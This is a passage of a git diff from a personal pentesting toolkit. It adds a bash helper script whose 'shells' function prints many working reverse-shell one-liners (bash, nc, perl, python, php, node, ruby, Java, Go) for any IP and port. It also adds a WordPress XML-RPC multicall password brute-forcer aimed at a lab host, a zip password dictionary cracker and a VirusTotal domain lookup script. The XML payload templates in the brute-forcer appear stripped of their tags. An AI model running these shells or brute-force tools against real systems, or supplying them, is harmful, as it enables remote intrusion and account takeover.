of $3$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't check $2 ACL... :/$CLR" + fi + + aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- can't get $2 :/$CLR" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# uploads file to S3 directory +s3gput() { + clear + echo -e "$BLUE[s0mbra] Uploading $2 to $1...$CLR" + + # aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ We can read ACL of $3$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't check $2 ACL... :/$CLR" + # fi + + # aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't get $2 :/$CLR" + # fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# Lists content of the folder on S3 bucket +s3ls() { + clear + echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" + aws s3 ls "s3://$1/$2/" 2> /dev/null + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# Lists content of the folder on S3 bucket +discloS3() { + clear + echo -e "$BLUE[s0mbra] Execute bucket-disclose.sh against $1...$CLR" + bucket-disclose $1 DEBUG + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# coverts .dex file to .jar archive +dex_to_jar() { + clear + echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" + d2j-dex2jar --force $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# unpack .jar archive +unjar() { + clear + echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx-1.5.1/bin/jadx-gui $1 +} + +# runs disassembly agains binary +disass() { + clear + echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." + objdump -d --arch-name=x86-64 -M intel $1 > 1.asm + echo -e "\n$BLUE[s0mbra] Done." +} + +# runs Java decompiler jadx +jadx() { + clear + echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 +} + +# executes grpahw00f graphql-cop against GraphQL endpoint +gql() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting GraphQl endpoints on $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" + python3 /Users/bl4de/hacking/tools/graphql-cop/graphql-cop.py -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# executes graphw00f fingerprint against GraphQL endpoint +graphw00f() { + clear + echo -e "$BLUE[s0mbra] Fingerprinting $1 GraphQL endpoint with graphw00f...$CYAN" + python3 /Users/bl4de/hacking/tools/graphw00f/main.py -d -f -t $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# runs Ruby SAST tools against Ruby application +ruby_sast() { + clear + echo -e "$BLUE[s0mbra] Running brakeman against $1...$CYAN" + brakeman $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# does stuff with Android APK file +apk() { + clear + echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" + unzip -d unzipped $1 + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" + apktool d $1 + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- unzipping .apk failed :/... :/$CLR" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# xreate Android Studio project from Android apk file +apk_to_studio() { + clear + echo -e "$BLUE[s0mbra] Creating Android Studio project from APK file...$YELLOW" + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx --deobf -e -d out "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# extracts Androind .ab archive +abe() { + clear + echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" + java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1 $1.tar + if [[ "$?" == 0 ]]; then + echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[s0mbra] Let's untar some files, shall we?$CLR" + rm -rf $1_extracted && mkdir ./$1_extracted + tar -xf $1.tar -C $1_extracted + echo -e "\n$GREEN[s0mbra] tar extracted, folder(s) created:$CLR" + ls -l $1_extracted + elif [[ "$?" != 0 ]]; then + echo -e "\n$RED- Damn... :/$CLR" + fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# generates reverse shells in various languages for given IP:PORT +shells() { + clear + port=$2 + + echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" + + echo -e "$YELLOW[bash]\033[0m\t\tbash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "$YELLOW[bash]\033[0m\t\t0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "$YELLOW[bash]\033[0m\t\trm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "$YELLOW[bash]\033[0m\t\trm -f backpipe; mknod /tmp/backpipe p && nc $1 $port 0backpipe" + echo + echo -e "\033[1;31m[gawk]\033[0m\t\tgawk 'BEGIN {P=$port;S=\"cmd> \";H=\"$1\";V=\"/inet/tcp/0/\"H\"/\"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print \$0|&V;close(c)}}while(c!=\"exit\")close(V)}}'" + echo -e "\033[1;31m[awk]\033[0m\t\tawk 'BEGIN {s = \"/inet/tcp/0/$1/$port\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" + echo + echo -e "\033[1;34m[perl]\033[0m\t\tperl -e 'use Socket;\$i=\"$1\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m\t\tperl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo + echo -e "\033[1;36m[python]\033[0m\tpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m\t\tphp -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('bash -i >& /dev/tcp/$1/$port 0>&1');\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec('nc -e /bin/sh $1 $port')\"" + echo -e "\033[1;31m[Node]\033[0m\t\tnode -e \"require('child_process').exec(\"bash -c 'bash -i >& /dev/tcp/$1/$port 0>&1'\")\"" + echo + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;33m[ruby]\033[0m\t\truby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo + echo -e "\033[36m[nc]\033[0m\t\tnc -e /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\tnc -c /bin/sh $1 $port" + echo -e "\033[36m[nc]\033[0m\t\t/bin/sh | nc $1 $port" + echo -e "\033[36m[nc]\033[0m\t\trm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[nc]\033[0m\t\trm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo + echo -e "\033[1;35m[Java]\033[0m\t\tr = Runtime.getRuntime();p = r.exec([\"/bin/bash","-c","exec 5<>/dev/tcp/$1/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done\"] as String[]);p.waitFor()" + echo + echo -e "\033[1;32m[Go]\033[0m\t\techo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$1:$port\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# decodes Base64 string +b64() { + echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" + echo $1 | base64 -D + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# hash/encode string +hshr() { + echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" + hasher "$1" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# cat <<'-md-' +# # s0mbra.sh - Recon and pentest tool + +# This script is a collection of various tools and functions for reconnaissance, pentesting, and code analysis +# It provides functionalities for network scanning, web application testing, cloud storage enumeration, and more. + +# -md- + +### menu +cmd=$1 + +case "$cmd" in + set_ip) + set_ip "$2" + ;; + enum) + enum "$2" + ;; + recon) + recon "$2" "$3" "$4" + ;; + kiterunner) + kiterunner "$2" + ;; + pysast) + pysast "$2" + ;; + full_nmap_scan) + full_nmap_scan "$2" "$3" + ;; + quick_nmap_scan) + quick_nmap_scan "$2" "$3" + ;; + http_server) + http_server "$2" "$3" + ;; + rockyou_john) + rockyou_john "$2" "$3" + ;; + rockyou_zip) + rockyou_zip "$2" + ;; + john_pot) + john_pot + ;; + ssh_to_john) + ssh_to_john "$2" + ;; + unmin) + unmin "$2" + ;; + snyktest) + snyktest + ;; + gql) + gql "$2" + ;; + graphw00f) + graphw00f "$2" + ;; + dex_to_jar) + dex_to_jar "$2" + ;; + jadx) + jadx "$2" + ;; + apk) + apk "$2" + ;; + apk_to_studio) + apk_to_studio "$2" + ;; + abe) + abe "$2" + ;; + unjar) + unjar "$2" + ;; + disass) + disass "$2" + ;; + smb_enum) + smb_enum "$2" "$3" "$4" + ;; + smb_get_file) + smb_get_file "$2" "$3" "$4" "$5" + ;; + smb_mount) + smb_mount "$2" "$3" "$4" + ;; + smb_umount) + smb_umount + ;; + nfs_enum) + nfs_enum "$2" + ;; + s3) + s3 "$2" + ;; + b64) + b64 "$2" + ;; + hashme) + hshr "$2" + ;; + fu) + fu "$2" "$3" "$4" "$5" + ;; + apifuzz) + api_fuzz "$2" "$3" + ;; + s3get) + s3get "$2" "$3" + ;; + s3ls) + s3ls "$2" "$3" + ;; + discloS3) + discloS3 "$2" + ;; + shells) + shells "$2" "$3" + ;; + rubysast) + ruby_sast "$2" + ;; + *) + clear + echo -e "$CLR" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" + echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL" + echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" + + echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" + echo -e "$CYAN http_server $GRAY[PORT] [STACK]$CLR\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" + echo -e "$CYAN smb_umount $CLR" + + echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN ssh_to_john $GRAY[ID_RSA]\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]\t\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN john_pot\t\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + + echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" + echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN apk_to_studio $GRAY[.apk FILE]$CLR\t$YELLOW(Java)$CLR" + echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t$CYAN hashme $GRAY[STRING]$CLR" + echo -e "$CLR" + echo -e "$CLR" + ;; +esac diff --git a/source_tracker/LICENSE.md b/source_tracker/LICENSE.md deleted file mode 100644 index a32ee95..0000000 --- a/source_tracker/LICENSE.md +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2018 Rafal 'bl4de' Janicki - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - diff --git a/source_tracker/README.md b/source_tracker/README.md deleted file mode 100644 index a8641a7..0000000 --- a/source_tracker/README.md +++ /dev/null @@ -1,80 +0,0 @@ -### source_tracker.py - compare website source code with snapshot - -This tool compares website source code with previously saved snapshot. - -When used first time, it creates snapshot. When used again, it compares source code from the moment when tools was run with the source code saved in snapshot - and shows all differences (line by line) if any. - -### Usage - -Sample usage (no differences found between current source and snapshoted one): - -``` -$ ./compare.py https://hackerone.com - -[+] snapshot not found, saving snapshot... - -$ ./compare.py https://hackerone.com - -[+] snapshot found, compare snapshot with current source... - - --------------------------------------------------------------------------------------------- -[+] no differencies found; snapshot and current https://hackerone.com source are identical - -[+] DONE. -``` - -Sample usage (differences found): - - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot not found, saving snapshot... - -``` - -Now, I've introduced some small changes in `test.html` and run tool again: - -``` -$ ./compare.py http://localhost:8080/test.html - -[+] snapshot found, compare snapshot with current source... - --- LINE 4 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 4 -: - Node HackerOne Playground - - -<<<<< site source line 4 - - Node HackerOne Playground Title changed? - --- LINE 9 -------------------------------------------------------------------------------- - ->>>>> snaphsot line 9 -: - console.log('uh oh, change!!') - - -<<<<< site source line 9 - - console.log('changed here!!') - - --------------------------------------------------------------------------------------------- -[+] 2 differencies between snapshot and current source found - -[+] DONE. - -``` - -### TODO - -- refactoring -- multiple websites compare (loaded list form file, eg. output from Aquatone?) -- colorful output :D -- multiple snapshots (?) - diff --git a/source_tracker/source_tracker.py b/source_tracker/source_tracker.py deleted file mode 100755 index 39d95ff..0000000 --- a/source_tracker/source_tracker.py +++ /dev/null @@ -1,127 +0,0 @@ -#!/usr/bin/python -""" -source_tracker.py - -@author: Rafal 'bl4de' Janicki - -@Twitter: https://twitter.com/_bl4de -@HackerOne: https://hackerone.com/bl4de -@GitHub: https://github.com/bl4de - -Website source changes tracker. When run for the first time against given url, creates snapshot file with current source. -Next run compares source from snapshot and shows all differencies between saved snapshot and current source. - -Licence: MIT -""" -import requests -import os -import argparse - -colors = { - "black": '\33[30m', - "white": '\33[37m', - "red": '\33[31m', - "green": '\33[32m', - "yellow": '\33[33m', - "blue": '\33[34m', - "magenta": '\33[35m', - "cyan": '\33[36m', - "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' -} - - -def create_filename_from_url(site_url): - return site_url.replace('https://', '').replace( - 'http://', '').replace('/', '_').replace(':', '_').replace('.', '_') + '_SNAPSHOT' - - -def send_request(site_url): - headers = { - 'Accept': 'text/html', - 'User-Agent': 'Some simple Python script' - } - return requests.get(site_url, headers=headers) - - -def abort(status_code): - print '\n{}[-] response code: HTTP {}{}'.format( - colors['red'], status_code, colors['white']) - print '\n{}[-] ABORTING...{}\n'.format(colors['red'], colors['white']) - exit(0) - - -def print_line(line, color): - # TBD - return - -def print_diff(snapshot_source, site_source, line_counter): - print '\n{}-- Change in line {} {}{}'.format(colors['red'], - line_counter + 1, '-' * 80 + '\n', colors['white']) - - print '{}>>>>> snaphsot line {}'.format( - colors['yellow'], line_counter + 1) - - print '{}{}:\t{}{}'.format(colors['white'],line_counter, colors['grey'], snapshot_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 1, colors['cyan'], snapshot_source[line_counter].strip()) - print '{}{}:\t{}{}'.format(colors['white'],line_counter + 2, colors['grey'], snapshot_source[line_counter + 1].strip()) - - print '\n{}<<<<< site source line {}'.format( - colors['yellow'], line_counter + 1) - print '{}{}:\t{}{}'.format(colors['white'], line_counter, colors['grey'], site_source[line_counter - 1].strip()) - print '{}{}:\t{}{}'.format(colors['white'], line_counter + 1, colors['cyan'], site_source[line_counter].strip()) - print '{}{}:\t{}{}{}'.format(colors['white'], line_counter + 2, colors['grey'], site_source[line_counter + 1].strip(), colors['white']) - - -def main(site_url): - snapshot_filename = create_filename_from_url(site_url) - differencies = 0 - - res = send_request(site_url) - - if res.status_code != 200: - abort(res.status_code) - - if os.path.isfile(snapshot_filename): - print '\n{}[+] snapshot found, compare snapshot with current source...{}'.format( - colors['green'], colors['white']) - snapshot_source = open(snapshot_filename, 'r').readlines() - site_source = res.text.encode('utf-8').split('\n') - line_counter = 0 - - for snapshot_line in snapshot_source: - if snapshot_line.strip() != site_source[line_counter].strip(): - print_diff(snapshot_source, site_source, line_counter) - differencies = differencies + 1 - - line_counter = line_counter + 1 - print '\n\n{}'.format('-' * 92) - - else: - print '\n{}[+] snapshot not found, saving snapshot...{}'.format( - colors['green'], colors['white']) - f = open(snapshot_filename, 'w') - f.write(res.text.encode('utf-8')) - exit(0) - - if differencies > 0: - print '{}[+] {} differencies between snapshot and current source found{}'.format( - colors['green'], differencies, colors['white']) - else: - print '{}[+] no differencies found; snapshot and current {} source are identical{}'.format( - colors['green'], site_url, colors['white']) - - print '\n{}[+] DONE.{}'.format(colors['green'], colors['white']) - - -if __name__ == "__main__": - - parser = argparse.ArgumentParser() - parser.add_argument( - "url", help="An url to webiste/file (eg. https://hackerone.com or https://www.google-analytics.com/plugins/ua/ec.js)") - - args = parser.parse_args() - site_url = args.url - - main(site_url) diff --git a/virustotal.py b/virustotal.py new file mode 100755 index 0000000..a68fde2 --- /dev/null +++ b/virustotal.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 + +from netaddr import * +import requests +import json +import time +import os +import argparse + +virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] + +def process(cidr, logfile): + total_found_domains = 0 + ips = IPSet([cidr]) + + for ip in ips: + print("\n[+] Resolving IP: {}".format(ip)) + found_domains = 0 + + url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( + virus_total_api_key, str(ip)) + + resp = requests.get(url) + + if resp.status_code == 200: + domains = json.loads(resp.text) + + if (domains['response_code'] == 0): + print("[-] Empty response for {}".format(str(ip))) + time.sleep(15) + continue + + f = open(logfile, 'a') + + for d in domains['resolutions']: + print('>>> {}'.format(d['hostname'])) + found_domains = found_domains + 1 + f.write("{}\n".format(d['hostname'])) + + print("[+] Found {} domain(s) on {}".format(found_domains, str(ip))) + print("[+] Waiting 15 sec. until next request (VirusTotal API restriction)") + total_found_domains = total_found_domains + found_domains + f.close() + else: + print("[-] Empty response for {}".format(str(ip))) + + time.sleep(15) + + print("\n\n[+] Done, found {} in total".format(total_found_domains)) + + +def main(): + + parser = argparse.ArgumentParser() + logfile = 'virustotal.domains' + + parser.add_argument( + "-c", "--cidr", help="Network CIDR") + parser.add_argument( + "-o", "--output", help="Log filename (default - virustotal.domains)") + + args = parser.parse_args() + + if args.output: + logfile = args.output + if args.cidr: + process(args.cidr, logfile) + + +if __name__ == "__main__": + main() diff --git a/xmlrpc_amplif_bruteforce.py b/xmlrpc_amplif_bruteforce.py new file mode 100644 index 0000000..3993b1c --- /dev/null +++ b/xmlrpc_amplif_bruteforce.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python3 +# +# XML-RPC bruteforce amplification attack +# https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ + +import requests + +output = open("./output.txt", "w") +passwords = open( + "/Users/bl4de/hacking/dictionaries/100000_passwords.txt").readlines() +usernames = open( + "/Users/bl4de/hacking/dictionaries/SecLists/Usernames/top-usernames-shortlist.txt").readlines() +host = "metapress.htb" + +# headers used in POST requests +h = { + "Host": host, + "User-Agent": "HackerOne/bl4de" +} + +index = 0 + +# XMLRPC url +url = "http://metapress.htb/xmlrpc.php" + +print("[+] building payload...") +# building payload for system.multicall wp.getUsersBlogs +payload_start = """ + + + system.multicall + + + + + +""" + + +payload_end = """ + + + + + + +""" + +total = 0 + + +def send_request_with_username(username, passwords): + global total + payload = "" + username = username.strip() + + for password in passwords: + payload = payload + """ + + + + methodName + + wp.getUsersBlogs + + + + params + + + + + + + + {} + + + {} + + + + + + + + + + + """.format(username, password.strip()) + total = total + 1 + + print("\n[+] payload for {} ready ({} KB)...".format(username, len(payload)/64)) + + payload = payload_start + payload + payload_end + + # print(payload) + + print("[+] sending POST request with payload... ({} credentials in total checked)".format(total)) + resp = requests.post(url, headers=h, data=payload) + + if resp.status_code == 200: + print("[+] response HTTP 200 OK received, analysing results...") + # p0wned. This is the end :P + if b"isAdmin" in resp.content: + print("[+] SUCCESS !!! Matching username/password for {} found!, please review response content for details...").format(username) + output.write(resp.content) + exit(0) + + else: + print( + "[-] no matching username/password for {} found... :(").format(username) + + output.write(resp.content) + + else: + print("[-] something wrong, {} HTTP Response form{} received: \n\n").format( + resp.status_code, username) + print(resp.content) + + +for username in usernames: + for i in range(0, 100000, 64): + password = passwords[i:i+64] + send_request_with_username(username, password) + +print("[+] done...\n\n") diff --git a/zip-cracker.py b/zip-cracker.py new file mode 100755 index 0000000..fec9283 --- /dev/null +++ b/zip-cracker.py @@ -0,0 +1,39 @@ +#!/usr/bin/python +""" +Dictionary attack ZIP password cracker +https://github.com/igniteflow/violent-python/blob/master/pwd-crackers/zip-crack.py +""" +import zipfile +import argparse + + +def main(zipfilename, dictionary): + counter = 0 + """ + Zipfile password cracker using a brute-force dictionary attack + """ + password = None + zip_file = zipfile.ZipFile(zipfilename) + passwords = open(dictionary, 'r').readlines() + for p in passwords: + password = p.strip('\n') + counter = counter + 1 + if counter % 10000 == 0: + print "[+] {} password checked so far...".format(counter) + try: + zip_file.extractall(pwd=password) + print 'Password found: %s' % password + except: + pass + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument("zipfilename", help="Specify a .zip file to crack") + parser.add_argument( + "-w", "--wordlist", help="dictionary file") + + args = parser.parse_args() + try: + main(args.zipfilename, args.wordlist) + except: + print "[-] arguments error :("